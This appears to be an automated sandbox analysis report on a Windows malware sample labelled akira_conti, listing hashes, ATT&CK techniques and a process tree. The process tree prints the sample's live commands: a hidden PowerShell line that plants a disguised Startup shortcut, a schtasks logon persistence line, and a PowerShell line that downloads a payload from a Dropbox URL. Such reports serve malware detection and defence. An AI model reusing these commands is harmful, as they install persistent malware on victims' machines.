f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf

Analysis

max time kernel
149s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 02:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
Size 531KB
Sample260805-c552jscc54
SHA256 f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf
MD5 fc1e3f4743bb254a86887b6b98a72c2c
SHA1 70972a7d4ed035faf03e1677c3cd0d0c497cf531
SHA512 0c647adf1c73a901b3ea8e9c94af37627e9d8bb537bd7de7f8ac4d393d744ee56f3c278c07e7a06dd4510d906022829628047c7413615ba4ba0c335d55f9bbac
SSDEEP 6144:i3m4rc0XtBaoAxvcf+hDQ61xPmOwqt0R+e+NXPneo1obxqeThDZf7oM5U3etzW:i3a4fyO+hDQwxPmuneu4XhD97j23etzW
TLSH
T186C47D92BAC47CFED602C03C426B927662377BCA53219FB709695A342F97DC12E0971D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Looks for VirtualBox drivers on disk 2 TTPs 6 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	monitor.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5628	powershell.exe
3	2300	powershell.exe
4	4456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5700	powershell.exe
4340	powershell.exe
5628	powershell.exe
2300	powershell.exe
4456	powershell.exe
5628	powershell.exe
2300	powershell.exe
4456	powershell.exe

Looks for VMWare drivers on disk 2 TTPs 6 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	monitor.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk	powershell.exe

Executes dropped EXE 7 IoCs

pid	Process
5792	monitor.exe
2100	monitor.exe
4448	WerFault.exe
4348	monitor.exe
4944	WerFault.exe
5916	WerFault.exe
1660	WerFault.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\test.tmp	2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
File opened for modification	C:\Windows\System32\test.tmp	monitor.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3404	cmd.exe
684	cmd.exe
3516	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1500	schtasks.exe
1720	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
5700	powershell.exe
5700	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
5628	powershell.exe
5628	powershell.exe
5628	powershell.exe
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
4456	powershell.exe
4456	powershell.exe
4456	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5700	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	5628	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3296 wrote to memory of 5700	3296	2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe	88
PID 5792 wrote to memory of 4340	5792	monitor.exe	92
PID 3296 wrote to memory of 684	3296	2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe	94
PID 3296 wrote to memory of 5628	3296	2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe	95
PID 684 wrote to memory of 2100	684	cmd.exe	98
PID 2100 wrote to memory of 3516	2100	monitor.exe	99
PID 3516 wrote to memory of 4448	3516	cmd.exe	101
PID 4448 wrote to memory of 2300	4448	WerFault.exe	102
PID 5792 wrote to memory of 3404	5792	monitor.exe	104
PID 5792 wrote to memory of 4456	5792	monitor.exe	105
PID 3404 wrote to memory of 4348	3404	cmd.exe	108
PID 3296 wrote to memory of 1500	3296	2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe	109
PID 3296 wrote to memory of 4944	3296	2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe	111
PID 5792 wrote to memory of 1720	5792	monitor.exe	116
PID 5792 wrote to memory of 1660	5792	monitor.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe"
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5700
- C:\Windows\system32\cmd.exe
  "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\ProgramData\Microsoft\Windows\WER\monitor.exe
    C:\ProgramData\Microsoft\Windows\WER\monitor.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Windows\system32\cmd.exe
      "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3516
    - - C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
        
        C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
        5⤵
        Looks for VirtualBox drivers on disk
        Looks for VMWare drivers on disk
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4448
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5628
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /tn WindowsErrorReporting /tr C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /sc onlogon /ru PEXWEVZA\Admin /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1500
- C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
  "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
  2⤵
  - Looks for VirtualBox drivers on disk
  - Looks for VMWare drivers on disk
  - Executes dropped EXE
  PID:4944

C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\system32\cmd.exe
  "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\ProgramData\Microsoft\Windows\WER\monitor.exe
    C:\ProgramData\Microsoft\Windows\WER\monitor.exe
    3⤵
    - Executes dropped EXE
    PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4456
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /tn WindowsErrorReporting /tr C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /sc onlogon /ru PEXWEVZA\Admin /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1720
- C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
  "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
  2⤵
  - Looks for VirtualBox drivers on disk
  - Looks for VMWare drivers on disk
  - Executes dropped EXE
  PID:1660

C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
PID:5916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

monitor.exe

Path C:\ProgramData\Microsoft\Windows\WER\monitor.exe
Size 531KB
SHA256 f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf
MD5 fc1e3f4743bb254a86887b6b98a72c2c
SHA1 70972a7d4ed035faf03e1677c3cd0d0c497cf531
SHA512 0c647adf1c73a901b3ea8e9c94af37627e9d8bb537bd7de7f8ac4d393d744ee56f3c278c07e7a06dd4510d906022829628047c7413615ba4ba0c335d55f9bbac
SSDEEP 6144:i3m4rc0XtBaoAxvcf+hDQ61xPmOwqt0R+e+NXPneo1obxqeThDZf7oM5U3etzW:i3a4fyO+hDQwxPmuneu4XhD97j23etzW
TLSH
T186C47D92BAC47CFED602C03C426B927662377BCA53219FB709695A342F97DC12E0971D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

werdata.db

Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
Size 186KB
SHA256 2116f68886a1b3047ba05e9790aa497314c7d0d2259e056d995d1fd666419ff6
MD5 877746d5d6144665986ddb83d0698c3d
SHA1 d3ccb7b48ade90d7edcb1edbf6f32c7366b7aa80
SHA512 7d9e9599f8bf65374c869e0cc0bfb32d17774be69735b13ff95fa0194c18cd64f9fc54494588915770264492e45cbc26fe457d6f3770d0bc7138d58e7ea0a0a0
SSDEEP 3072:4D2ktkta7nveM7JmJyHmH0qs1jDw01j1ZL8z8gP/B3+t57fbdLKV/tZL0fEoWWD5:4APi5xPE34fX
TLSH
T1B814F7408CB5CD075CD93FBD7C976E015E8A238266F14907BB684B6826B49FF31DA24B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aa9f3ff52039f19698ec0bd2cc8eb5767d16f43a8895cdeeb3e03150eaf05373
MD5 e80b3dba27745d905a99b06231bd989c
SHA1 320235017f775edf11c5d1dc0c71f1e43adb746c
SHA512 3e52abacc6e6035969530423c41de2e3112dda3488db6febfcc1a7e08be81e600de805d2987a4e4c29215543f62eb59508dede4bf0add8c93559b5516ae32a87
TLSH
T133115733F3CC8664DC9A413650CEAC1036B787DB409EDE9BAB84D559B42F685CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6a0f6c545beaac7d95f6d759165f12ab79330c5a4214be90d4c3bd70a7466e0e
MD5 71c335411158d29b1ecf4aff8f563b0c
SHA1 5415d69ca139a19eb3375e2dfad2e6474582e9c0
SHA512 a339fb321041dc8598843f625ec72700310b8945709719268c4c0dc3a81246ae5b2f0a0df6dfba157a797e955996b6cfc44afcc3f540c9aa526b36fcfbbd2822
TLSH
T144215733F3CC86A4DC9A413650CEAC1136B787DB409EDEABAB84D559B42F689CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
MD5 8e905f2b8648d1e6d98fe873e767284e
SHA1 b351c01a95e361a8200fad41aaeb7eda7cd56d00
SHA512 651c9b32840f7670a5ab155e3a89147921c73c323076c72fa39573f6ab7c4a96a64a70cd8078822c004e1842515414c2eba88a034eceff86fab746e992d6fc90
TLSH
T160215733F3CC8624DC9A403650CEAC1136B687DB409EDE6BBB84D549B42F289DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_4wp3wrqu.v4p.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wp3wrqu.v4p.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk
Size 1KB
SHA256 afc068b7ecc447cc87ec5d17ea5432a871659f7ad0a2bb0e9b2f17e9c94bb662
MD5 b217bbdee4baed2a2b8eca92ce6bf17a
SHA1 c8e5ee11e30b0a3e753ab38186069640d0f3086a
SHA512 e39b1b1e70251c2b60bd0ebf1fa2ca406c80c458d26f8051133cb7358298bfe5a5b0f09a1056dd6aeb93b3772d940c5cb719a303e7171c1f5c2a82da14092cfc
TLSH
T14B212B0917761F19F2F34576062667719B37FC01FBA5C74A024992990934A00AD68F3B
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1660-75-0x00007FF63D930000-0x00007FF63D99E000-memory.dmp

Download

memory/2100-59-0x00007FF792490000-0x00007FF7924FE000-memory.dmp

Download

memory/3296-54-0x00007FF7CDE90000-0x00007FF7CDEFE000-memory.dmp

Download

memory/4340-42-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/4340-26-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/4340-25-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/4340-27-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/4340-24-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/4340-29-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/4340-28-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/4340-32-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/4348-61-0x00007FF792490000-0x00007FF7924FE000-memory.dmp

Download

memory/4448-60-0x00007FF63D930000-0x00007FF63D99E000-memory.dmp

Download

memory/4944-55-0x00007FF63D930000-0x00007FF63D99E000-memory.dmp

Download

memory/5700-12-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-10-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-11-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-13-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-3-0x00007FFC7966F000-0x00007FFC79670000-memory.dmp

Download

memory/5700-4-0x000001B01BA50000-0x000001B01BA72000-memory.dmp

Download

memory/5700-5-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-19-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-14-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-18-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-9-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5700-8-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

Download

memory/5792-58-0x00007FF792490000-0x00007FF7924FE000-memory.dmp

Download

memory/5792-74-0x00007FF792490000-0x00007FF7924FE000-memory.dmp

Download

memory/5916-57-0x00007FF63D930000-0x00007FF63D99E000-memory.dmp

Download